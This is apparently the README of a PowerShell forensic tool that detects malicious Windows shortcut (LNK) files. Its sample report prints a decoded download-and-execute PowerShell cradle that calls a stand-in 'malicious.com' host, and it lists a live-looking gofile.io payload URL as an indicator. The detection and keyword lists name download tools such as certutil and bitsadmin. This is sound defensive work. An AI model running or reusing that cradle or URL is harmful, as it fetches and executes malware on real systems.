LNK-Malware-Analyzer 🔍

A professional-grade PowerShell tool for forensic analysis of Windows LNK (Shortcut) files to detect malware, extract indicators of compromise, and assess risk levels.

LNK (Windows Shortcut) files are increasingly used by threat actors as an initial access vector. These files can execute malicious commands, download payloads, and establish persistence while appearing harmless. LNK-Malware-Analyzer provides comprehensive forensic capabilities to examine these files and identify malicious indicators.

• Windows PowerShell 5.1 or PowerShell 7+
• Windows operating system (for COM object access)
• Administrator privileges (optional, for full system access)

# Clone the repository
git clone https://github.com/Excalibra/LNK-Malware-Analyzer.git

# Navigate to the tool directory
cd LNK-Malware-Analyzer

# Set execution policy for current session (if needed)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

Analyze a single LNK file and display results in the console:

.\LNK-Malware-Analyzer.ps1 -Path "C:\suspicious\file.lnk"

Create a formatted HTML report with all findings:

.\LNK-Malware-Analyzer.ps1 -Path "malware.lnk" -OutputFormat HTML -OutputDirectory ".\reports"

Export structured data for integration with other tools:

.\LNK-Malware-Analyzer.ps1 -Path "sample.lnk" -OutputFormat JSON

Generate a flattened CSV format for spreadsheet analysis:

.\LNK-Malware-Analyzer.ps1 -Path "batch.lnk" -OutputFormat CSV -OutputDirectory ".\data"

Check file hashes against VirusTotal (requires API key):

.\LNK-Malware-Analyzer.ps1 -Path "unknown.lnk" -VTLookup -VTApiKey "your-api-key-here"

Enable detailed logging for debugging or deep analysis:

.\LNK-Malware-Analyzer.ps1 -Path "complex.lnk" -Verbose

The tool calculates a risk score based on detected threats and categorizes files into four risk levels:

• Base64 encoded PowerShell commands
• UTF-16LE encoded strings
• Compressed or obfuscated content

• PowerShell: wget, curl, Invoke-WebRequest, Net.WebClient
• System tools: bitsadmin, certutil, mshta
• Alternative methods: XMLHTTP, WinHttp.WinHttpRequest

• In-memory execution (IEX, Invoke-Expression)
• Reflective loading of assemblies
• Process injection indicators
• WMI and scheduled task creation

• Hidden window execution (WindowStyle 0 or 7)
• Icon masquerading as legitimate applications
• Environment variable obfuscation
• Suspicious working directories (Temp, AppData)

• Registry run keys modifications
• Startup folder references
• Scheduled task creation commands
• WMI event subscription patterns

• URLs (HTTP, HTTPS, FTP)
• IP addresses (IPv4)
• Domain names
• Potential C2 server addresses

==========================================================
LNK-MALWARE-ANALYZER - FORENSIC REPORT
==========================================================
Analysis Time: 2026-02-20 14:35:22
File: 671102b1...8136.lnk
Size: 3256 bytes
SHA256: 671102B1...4488136

----------------------------------------------------------
RISK ASSESSMENT
----------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 85/100
Threats Detected: 4

Detected Threats:
  • [Critical] Contains encoded PowerShell command
  • [Critical] Uses in-memory execution (IEX)
  • [High] References remote URL
  • [Medium] Configured to run with hidden window

----------------------------------------------------------
LNK PROPERTIES
----------------------------------------------------------
Target: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments: -e SQBFAFgAIAAoAE4AZ...
Decoded: IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
Working Dir: 
Icon: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,11
Window Style: 7

----------------------------------------------------------
REMOTE INDICATORS
----------------------------------------------------------
  • https://store-na-phx-4.gofile.io/download/direct/cbd8ed80-2067-4791-9d7e-8a3d4d41864f/Adobe_Acrobat_Reader.js

----------------------------------------------------------
RECOMMENDATIONS
----------------------------------------------------------
IMMEDIATE ACTION REQUIRED: This file is highly malicious
  - DO NOT execute this file on any system
  - Isolate affected systems immediately
  - Submit to sandbox for deep analysis
  - Check for persistence mechanisms
  - Review PowerShell logs for execution
  - Block domains in firewall/hosts file

==========================================================
ANALYSIS SUMMARY
==========================================================
File: 671102b1...8136.lnk
Risk Level: CRITICAL
Threats Found: 4
IOCs Extracted: 1
==========================================================

The HTML output generates a professional, styled report with:

• Color-coded risk indicators
• Organized sections for file info, threats, and IOCs
• Syntax-highlighted decoded commands
• Responsive design for viewing on any device

The tool uses a JSON configuration file located at .\config\settings.json. You can modify this file to customize:

• Risk scoring weights
• Threat detection patterns
• Output preferences
• IOC keyword lists

{
    "RiskScoring": {
        "CriticalThreshold": 80,
        "HighThreshold": 50,
        "MediumThreshold": 25,
        "Weights": {
            "EncodedCommand": 40,
            "DownloadCradle": 35,
            "MemoryExecution": 40
        }
    },
    "IOC": {
        "SuspiciousKeywords": [
            "powershell", "cmd", "wscript", "cscript",
            "rundll32", "bitsadmin", "certutil"
        ]
    }
}

LNK-Malware-Analyzer/
├── LNK-Malware-Analyzer.ps1   # Main script
├── README.md                   # Documentation
├── LICENSE                     # MIT License
├── config/
│   └── settings.json           # Configuration file
├── modules/
│   ├── LNKCore.ps1            # Core parsing functions
│   ├── LNKAnalysis.ps1        # Analysis functions
│   ├── LNKReporting.ps1       # Reporting functions
│   └── LNKUtils.ps1           # Utility functions
└── outputs/                    # Default output directory

Contributions are welcome and appreciated. Here's how you can help:

1. Fork the repository (https://github.com/Excalibra/LNK-Malware-Analyzer/fork)
2. Create a feature branch (git checkout -b feature/amazing-feature)
3. Commit your changes (git commit -m 'Add amazing feature')
4. Push to the branch (git push origin feature/amazing-feature)
5. Open a Pull Request

Please ensure your code follows the existing style and includes appropriate documentation.

This project is licensed under the MIT License - see the LICENSE file for details.

This tool is intended for legitimate security research, incident response, and educational purposes only. Users are responsible for complying with all applicable laws and regulations. The authors assume no liability for misuse or damage caused by this tool.

For issues, questions, or feature requests, please open an issue on the GitHub repository.

• Thanks to the security research community for documenting LNK-based attack techniques
• Inspired by various open-source forensic tools and malware analysis frameworks

• GitHub Profile: https://github.com/Excalibra/
• Repository: https://github.com/Excalibra/LNK-Malware-Analyzer